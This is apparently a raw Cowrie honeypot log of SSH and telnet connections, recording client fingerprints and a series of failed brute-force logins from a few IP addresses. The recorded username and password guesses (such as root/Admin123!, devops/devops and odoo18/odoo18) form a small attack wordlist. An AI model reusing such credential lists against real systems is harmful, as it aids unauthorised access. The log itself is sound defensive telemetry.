{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:55.808614Z","src_ip":"43.153.37.39","session":"ff52f80da45d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"123456","message":"login attempt [jack/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:55.950358Z","src_ip":"192.109.200.237","session":"7a8cfec2b7ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3","message":"login attempt [root/1qaz@WSX3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:56.117482Z","src_ip":"43.153.37.39","session":"ff52f80da45d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:57.036972Z","src_ip":"192.109.200.237","session":"7a8cfec2b7ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:57.189253Z","src_ip":"43.153.37.39","session":"ff52f80da45d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55358,"dst_ip":"159.203.135.109","dst_port":22,"session":"195bd7a63bdc","protocol":"ssh","message":"New connection: 192.109.200.237:55358 (159.203.135.109:22) [session: 195bd7a63bdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:58.922969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:58.927945Z","src_ip":"192.109.200.237","session":"195bd7a63bdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:59.013415Z","src_ip":"192.109.200.237","session":"195bd7a63bdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"devops","message":"login attempt [devops/devops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:12:59.259375Z","src_ip":"192.109.200.237","session":"195bd7a63bdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:00.346213Z","src_ip":"192.109.200.237","session":"195bd7a63bdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52606,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5f8c2d0efdc","protocol":"ssh","message":"New connection: 192.109.200.237:52606 (159.203.135.109:22) [session: f5f8c2d0efdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:02.289115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:02.295979Z","src_ip":"192.109.200.237","session":"f5f8c2d0efdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:02.383397Z","src_ip":"192.109.200.237","session":"f5f8c2d0efdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"cloud","message":"login attempt [cloud/cloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:02.634777Z","src_ip":"192.109.200.237","session":"f5f8c2d0efdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46980,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d726e314026","protocol":"telnet","message":"New connection: 152.42.224.71:46980 (10.17.0.5:23) [session: 8d726e314026]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:02.674949Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:03.763887Z","src_ip":"192.109.200.237","session":"f5f8c2d0efdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52610,"dst_ip":"159.203.135.109","dst_port":22,"session":"80dc6a03af5f","protocol":"ssh","message":"New connection: 192.109.200.237:52610 (159.203.135.109:22) [session: 80dc6a03af5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:05.575058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:05.580121Z","src_ip":"192.109.200.237","session":"80dc6a03af5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:05.666591Z","src_ip":"192.109.200.237","session":"80dc6a03af5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"myuser","message":"login attempt [myuser/myuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:05.916331Z","src_ip":"192.109.200.237","session":"80dc6a03af5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:07.001581Z","src_ip":"192.109.200.237","session":"80dc6a03af5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":39988,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b17b694a0c4","protocol":"ssh","message":"New connection: 94.159.98.239:39988 (10.17.0.5:22) [session: 8b17b694a0c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:08.741031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:08.781391Z","src_ip":"94.159.98.239","session":"8b17b694a0c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:08.893235Z","src_ip":"94.159.98.239","session":"8b17b694a0c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52618,"dst_ip":"159.203.135.109","dst_port":22,"session":"e46384e9c764","protocol":"ssh","message":"New connection: 192.109.200.237:52618 (159.203.135.109:22) [session: e46384e9c764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:08.916449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:08.951940Z","src_ip":"192.109.200.237","session":"e46384e9c764","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:09.143602Z","src_ip":"192.109.200.237","session":"e46384e9c764","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar123","message":"login attempt [sonar/sonar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:09.393301Z","src_ip":"192.109.200.237","session":"e46384e9c764","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rerere","message":"login attempt [root/rerere] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:09.425900Z","src_ip":"94.159.98.239","session":"8b17b694a0c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:10.480657Z","src_ip":"192.109.200.237","session":"e46384e9c764","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:10.546474Z","src_ip":"94.159.98.239","session":"8b17b694a0c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55884,"dst_ip":"159.203.135.109","dst_port":22,"session":"10e14072484a","protocol":"ssh","message":"New connection: 192.109.200.237:55884 (159.203.135.109:22) [session: 10e14072484a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:12.353039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:12.358391Z","src_ip":"192.109.200.237","session":"10e14072484a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:12.440747Z","src_ip":"192.109.200.237","session":"10e14072484a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"odoo18","message":"login attempt [odoo18/odoo18] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:12.688371Z","src_ip":"192.109.200.237","session":"10e14072484a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:13.773642Z","src_ip":"192.109.200.237","session":"10e14072484a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55890,"dst_ip":"159.203.135.109","dst_port":22,"session":"4cf54d252d2b","protocol":"ssh","message":"New connection: 192.109.200.237:55890 (159.203.135.109:22) [session: 4cf54d252d2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:15.808975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:15.813765Z","src_ip":"192.109.200.237","session":"4cf54d252d2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:15.895825Z","src_ip":"192.109.200.237","session":"4cf54d252d2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!","message":"login attempt [root/Admin123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:16.147291Z","src_ip":"192.109.200.237","session":"4cf54d252d2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:17.232461Z","src_ip":"192.109.200.237","session":"4cf54d252d2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55898,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fc553bd0990","protocol":"ssh","message":"New connection: 192.109.200.237:55898 (159.203.135.109:22) [session: 9fc553bd0990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:19.164546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:19.169931Z","src_ip":"192.109.200.237","session":"9fc553bd0990","protocol":"ssh"}
